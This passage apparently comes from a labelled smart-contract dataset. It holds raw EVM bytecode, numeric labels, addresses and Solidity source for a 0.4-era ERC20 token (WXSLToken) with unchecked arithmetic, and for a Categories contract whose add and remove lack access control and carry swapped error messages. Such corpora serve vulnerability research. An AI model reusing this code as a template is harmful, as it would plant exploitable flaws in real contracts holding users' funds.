6132dd565b815282890135898201528452600196909601959287019290810190613571565b50909998505050505050505050565b6000602082840312156135eb578081fd5b8135612153816141e5565b600060208284031215613607578081fd5b8151612153816141e5565b600060208284031215613623578081fd5b813567ffffffffffffffff811115613639578182fd5b8201601f81018413613649578182fd5b612a1884823560208401613285565b600060208284031215613669578081fd5b612153826132f4565b60008060408385031215613684578182fd5b61368d836132f4565b9150613349602084016132f4565b6000602082840312156136ac578081fd5b5035919050565b600081518084526136cb8160208601602086016140f1565b601f01601f19169290920160200192915050565b600083516136f18184602088016140f1565b8351908301906137058183602088016140f1565b01949350505050565b94855260208501939093526bffffffffffffffffffffffff19606092831b81166040860152605485019190915291901b16607482015260880190565b6001600160a01b0391909116815260200190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090613791908301846136b3565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156137d3578351835292840192918401916001016137b7565b50909695505050505050565b901515815260200190565b60006020825261215360208301846136b3565b6020808252602a908201527f4e6f206d6f726520617269747920746f6b656e73206c65667420666f722067656040820152696e657369732073616c6560b01b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601c908201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604082015260600190565b6020808252601e908201527f436f6c6c61626f7261746f7273207765726520616c7265616479207365740000604082015260600190565b60208082526024908201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604082015260600190565b6020808252601e908201527f546f74616c2063757420646f6573206e6f742061646420746f20313030250000604082015260600190565b60208082526024908201527f4d617820746f6b656e7320706572207472616e73616374696f6e2063616e20626040820152636520323560e01b606082015260800190565b6020808252602c908201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252601e908201527f5468652063616c6c657220697320616e6f7468657220636f6e74726163740000604082015260600190565b60208082526022908201527f4e6f20617269747920746f6b656e73206c65667420746f20626520636c61696d604082015261195960f21b606082015260800190565b60208082526038908201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760408201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606082015260800190565b6020808252602a908201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604082015269726f206164647265737360b01b606082015260800190565b60208082526029908201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460408201526832b73a103a37b5b2b760b91b606082015260800190565b60208082526025908201527f4e6f206d6f726520617269747920746f6b656e73206c65667420666f722070726040820152646573616c6560d81b606082015260800190565b6020808252818101527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604082015260600190565b60208082526029908201527f4e6f7420656e6f75676820457468657220746f20636c61696d20746865204172604082015268697479546f6b656e7360b81b606082015260800190565b6020808252602c908201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b60208082526018908201527f47656e657369732073616c65206973206e6f74206f70656e0000000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960408201526839903737ba1037bbb760b91b606082015260800190565b6020808252602f908201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60408201526e3732bc34b9ba32b73a103a37b5b2b760891b606082015260800190565b60208082526023908201527f596f7520617265206e6f742077686974656c697374656420666f722070726573604082015262616c6560e81b606082015260800190565b60208082526033908201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015272103737b910309031b7b63630b137b930ba37b960691b606082015260800190565b602080825260139082015272283932b9b0b6329034b9903737ba1037b832b760691b604082015260600190565b60208082526021908201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656040820152603960f91b606082015260800190565b6020808252601c908201527f4e6f7420656e6f75676820617269747920746f6b656e73206c65667400000000604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60208082526028908201527f596f7520617265206e6f742077686974656c697374656420666f722067656e656040820152677369732073616c6560c01b606082015260800190565b60208082526017908201527f5075626c69632073616c65206973206e6f74206f70656e000000000000000000604082015260600190565b90815260200190565b60405181810167ffffffffffffffff81118282101715614041576140416141cf565b604052919050565b600067ffffffffffffffff821115614063576140636141cf565b5060209081020190565b60006001600160801b03808316818516808303821115613705576137056141a3565b600082198211156140a2576140a26141a3565b500190565b6000826140b6576140b66141b9565b500490565b60008160001904831182151516156140d5576140d56141a3565b500290565b6000828210156140ec576140ec6141a3565b500390565b60005b8381101561410c5781810151838201526020016140f4565b8381111561144c5750506000910152565b60028104600182168061413157607f821691505b6020821081141561282d57634e487b7160e01b600052602260045260246000fd5b600061ffff8083168181141561416a5761416a6141a3565b6001019392505050565b6000600019821415614188576141886141a3565b5060010190565b60008261419e5761419e6141b9565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b0319811681146141fb57600080fd5b5056fea264697066735822122014ba027fce6f57b7f421a96629bb5ece5186bc7646af1b7cd02b8997b92a800c64736f6c63430008000033
[ 5, 10, 4, 12 ]
0xf26a3792ac7bc158f9c2df197be569d4842c24be
pragma solidity ^0.4.19; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // 285000000, 'WXSL', 'WXSL' // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract WXSLToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function WXSLToken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }
0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461012d57806306fdde0314610159578063095ea7b3146101e757806318160ddd1461024157806323b872dd1461026a578063313ce567146102e357806342966c68146103125780634b7503341461034d57806370a082311461037657806379c65068146103c357806379cc6790146104055780638620410b1461045f5780638da5cb5b1461048857806395d89b41146104dd578063a6f2ae3a1461056b578063a9059cbb14610575578063b414d4b6146105b7578063cae9ca5114610608578063dd62ed3e146106a5578063e4849b3214610711578063e724529c14610734578063f2fde38b14610778575b600080fd5b341561013857600080fd5b61015760048080359060200190919080359060200190919050506107b1565b005b341561016457600080fd5b61016c61081e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ac578082015181840152602081019050610191565b50505050905090810190601f1680156101d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f257600080fd5b610227600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108bc565b604051808215151515815260200191505060405180910390f35b341561024c57600080fd5b610254610949565b6040518082815260200191505060405180910390f35b341561027557600080fd5b6102c9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061094f565b604051808215151515815260200191505060405180910390f35b34156102ee57600080fd5b6102f6610a7c565b604051808260ff1660ff16815260200191505060405180910390f35b341561031d57600080fd5b6103336004808035906020019091905050610a8f565b604051808215151515815260200191505060405180910390f35b341561035857600080fd5b610360610b93565b6040518082815260200191505060405180910390f35b341561038157600080fd5b6103ad600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b99565b6040518082815260200191505060405180910390f35b34156103ce57600080fd5b610403600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bb1565b005b341561041057600080fd5b610445600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d22565b604051808215151515815260200191505060405180910390f35b341561046a57600080fd5b610472610f3c565b6040518082815260200191505060405180910390f35b341561049357600080fd5b61049b610f42565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104e857600080fd5b6104f0610f67565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610530578082015181840152602081019050610515565b50505050905090810190601f16801561055d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610573611005565b005b341561058057600080fd5b6105b5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611025565b005b34156105c257600080fd5b6105ee600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611034565b604051808215151515815260200191505060405180910390f35b341561061357600080fd5b61068b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611054565b604051808215151515815260200191505060405180910390f35b34156106b057600080fd5b6106fb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111ce565b6040518082815260200191505060405180910390f35b341561071c57600080fd5b61073260048080359060200190919050506111f3565b005b341561073f57600080fd5b610776600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035151590602001909190505061126f565b005b341561078357600080fd5b6107af600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611394565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561080c57600080fd5b81600781905550806008819055505050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b45780601f10610889576101008083540402835291602001916108b4565b820191906000526020600020905b81548152906001019060200180831161089757829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109dc57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610a71848484611432565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610adf57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60075481565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0c57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d7257600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dfd57600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ffd5780601f10610fd257610100808354040283529160200191610ffd565b820191906000526020600020905b815481529060010190602001808311610fe057829003601f168201915b505050505081565b60006008543481151561101457fe5b049050611022303383611432565b50565b611030338383611432565b5050565b60096020528060005260406000206000915054906101000a900460ff1681565b60008084905061106485856108bc565b156111c5578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561115e578082015181840152602081019050611143565b50505050905090810190601f16801561118b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156111ac57600080fd5b5af115156111b957600080fd5b505050600191506111c6565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b60075481023073ffffffffffffffffffffffffffffffffffffffff16311015151561121d57600080fd5b611228333083611432565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075483029081150290604051600060405180830381858888f19350505050151561126c57600080fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112ca57600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113ef57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561145857600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156114a657600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561153457600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561158d57600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156115e657600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a72305820e670fdc9031675d91bd02b3e2f83c6860f102465f9ce657c88233d54d02169950029
[ 17 ]
0xf26A3F6d574561c38f45991705924ECF948A4A18
// SPDX-License-Identifier: MIT pragma solidity ^0.8.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "./interfaces/ICategories.sol"; contract Categories is ICategories, Ownable { using EnumerableSet for EnumerableSet.Bytes32Set; EnumerableSet.Bytes32Set private _set; function contains(bytes32 name) public view override returns (bool) { return _set.contains(name); } function length() public view override returns (uint256) { return _set.length(); } function at(uint256 index) public view override returns (bytes32) { return _set.at(index); } function values() public view override returns (bytes32[] memory) { return _set.values(); } function add(bytes32 name) external override{ require(!contains(name), "Name does not exist"); _set.add(name); emit Added(name); } function remove(bytes32 name) external override{ require(contains(name), "Name already exists"); _set.remove(name); emit Removed(name); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastValue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastValue; // Update the index for the moved value set._indexes[lastValue] = valueIndex; // Replace lastValue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a 